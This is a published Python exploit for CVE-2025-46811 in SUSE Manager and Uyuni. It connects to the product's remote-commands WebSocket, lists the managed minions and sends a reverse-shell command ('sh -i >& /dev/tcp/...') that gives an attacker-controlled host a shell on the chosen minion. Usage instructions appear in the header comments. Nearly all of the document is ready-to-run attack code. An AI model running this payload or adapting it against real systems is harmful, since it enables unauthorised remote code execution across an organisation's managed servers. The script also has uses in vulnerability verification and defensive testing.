SUSE Manager 4.3.15 - Code Execution

# Exploit Title: SUSE Manager 4.3.15 - Code Execution
# Date: 29.01.2026
# Exploit Author: Wiktor Maj
# Vendor Homepage: https://www.uyuni-project.org/
# Software Link: https://github.com/uyuni-project/uyuni
# Version: Uyuni 2025.05, SUSE Manager 5.0.4, SUSE Manager 4.3.15
# Tested on: Debian 12 (bookworm), Python 3.11.2 with websocket-client 1.9.0
# CVE: CVE-2025-46811

# Sends a reverse shell payload to the vulnerable WebSocket of either SUSE Manager or Uyuni.
# Set up a listener session in a separate terminal.
# After the payload is sent, switch to your listener terminal to check if a shell pops up.
# Example:
# python3 cve-2025-46811.py --ip 192.168.10.126 --port 443 --host-ip 192.168.10.113 --host-port 9001 --ssl


#### PROGRAM CONSTRAINTS ####
PAYLOAD = f"sh -i >& /dev/tcp/HOST_IP/HOST_PORT 0>&1"  # reverse shell payload, HOST_IP and HOST_PORT will be substituted with CLI args
CONNECTION_RETRIES = 4  # number of connection attempts
CONNECTION_DELAY_BETWEEN_RETRIES = 15  # seconds
WEBSOCKET_TIMEOUT = 10  # seconds
##############################

import argparse
import json
import socket
import ssl
import sys
import time
import websocket


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(description="Implementation of CVE-2025-46811 exploit for SUSE Manager & Uyuni.", add_help=False)
    parser.add_argument("-h", "--help", action="help", default=argparse.SUPPRESS, help="Display this help text and exit.")
    parser.add_argument("--ip", required=True, help="Victim IPv4 or hostname.")
    parser.add_argument("--port", type=int, default=443, help="Victim port (default: 443).")
    parser.add_argument("--host-ip", required=True, help="Attacker host IPv4 or hostname.")
    parser.add_argument("--host-port", type=int, required=True, help="Attacker host port.")
    group = parser.add_mutually_exclusive_group()
    group.add_argument("--ssl", dest="ssl", action="store_true",
                       help="Use SSL/TLS for the WebSocket connection (default).")
    group.add_argument("--no-ssl", dest="ssl", action="store_false",
                       help="Disable SSL/TLS and use plaintext WebSocket.")
    parser.set_defaults(ssl=True)
    return parser.parse_args()


def resolve_target(hostname: str) -> str:
    return socket.gethostbyname(hostname)


def receive_preview_minions_message(websocket_connection: websocket.WebSocket) -> str:
    while True:
        try:
            message = websocket_connection.recv()
            if message:
                print("Received:", message)
                if isinstance(message, bytes):
                    message = message.decode("utf-8", errors="replace")
                return message
        except websocket.WebSocketTimeoutException as exception:
            raise RuntimeError("Failed to receive preview minions message") from exception


def decode_preview_minions_message(message: str) -> list[str]:
    try:
        preview_output = json.loads(message)
    except json.JSONDecodeError as exception:
        raise RuntimeError("Preview response is not valid JSON") from exception
    if (
        isinstance(preview_output, dict)
        and isinstance(preview_output.get("minions"), list)
        and preview_output["minions"]
        and all(isinstance(entity, str) for entity in preview_output["minions"])
    ):
        return preview_output["minions"]
    raise RuntimeError("Preview response expected non-empty 'minions' list")


def receive_preview_minions(websocket_connection: websocket.WebSocket) -> list[str]:
    message = receive_preview_minions_message(websocket_connection)
    minions = decode_preview_minions_message(message)
    return minions


def select_minion(minions: list[str]) -> str:
    print("Available minions:")
    for minion_id, minion_name in enumerate(minions, start=1):
        print(f"{minion_id}) {minion_name}")
    prompt = "Select minion number (default is '1', or 'c' to cancel): "
    while True:
        choice = input(prompt).strip()
        if choice == "":
            return minions[0]
        if choice.lower() == "c":
            print("No minion selected. Exiting.")
            sys.exit(0)
        if choice.isdigit():
            index = int(choice)
            if 1 <= index <= len(minions):
                return minions[index - 1]
        print("Invalid selection.")


def connect_to_websocket(target_ip: str,
                         port: int,
                         use_ssl: bool,
                         sslopt: dict,
                     ) -> websocket.WebSocket:
    scheme = "wss" if use_ssl else "ws"
    try:
        return websocket.create_connection(
            f"{scheme}://{target_ip}:{port}/rhn/websocket/minion/remote-commands",
            timeout=WEBSOCKET_TIMEOUT,
            sslopt=sslopt,
        )
    except ssl.SSLError as exception:
        if "WRONG_VERSION_NUMBER" in str(exception):
            raise RuntimeError("Websocket seems to be unsecured, try with --no-ssl") from exception
        raise
    except websocket.WebSocketBadStatusException as exception:
        if exception.status_code == 400:
            raise RuntimeError("Websocket seems to be secured, try with --ssl") from exception
        raise
    except TimeoutError as exception:
        raise RuntimeError("Websocket is likely under firewall") from exception


def get_minions(target_ip: str,
                port: int,
                use_ssl: bool,
            ) -> tuple[websocket.WebSocket, list[str]]:
    sslopt = {"cert_reqs": ssl.CERT_NONE, "check_hostname": False}
    for attempt in range(1, CONNECTION_RETRIES + 1):
        websocket_connection = None
        try:
            websocket_connection = connect_to_websocket(target_ip, port, use_ssl, sslopt)
            websocket_connection.send(json.dumps({"preview": True, "target": "*"}))
            minions = receive_preview_minions(websocket_connection)
            return websocket_connection, minions
        except (
            websocket.WebSocketTimeoutException,
            websocket.WebSocketConnectionClosedException,
        ):
            if websocket_connection is not None:
                websocket_connection.close()
            if attempt == CONNECTION_RETRIES:
                break
        time.sleep(CONNECTION_DELAY_BETWEEN_RETRIES)
    raise RuntimeError("Target websocket is not vulnerable or not reachable")


def send_payload(websocket_connection: websocket.WebSocket, target: str) -> None:
    payload = PAYLOAD.replace("HOST_IP", args.host_ip).replace("HOST_PORT", str(args.host_port))
    websocket_connection.send(json.dumps({"preview": False, "target": target, "command": payload}))


if __name__ == "__main__":
    args = parse_args()
    websocket_connection = None
    try:
        websocket_connection, minions = get_minions(
            target_ip=resolve_target(args.ip),
            port=args.port,
            use_ssl=args.ssl,
        )
        selected_minion = select_minion(minions)
        send_payload(websocket_connection, selected_minion)
        print("Payload sent, closing.")
    finally:
        if websocket_connection is not None:
            websocket_connection.close()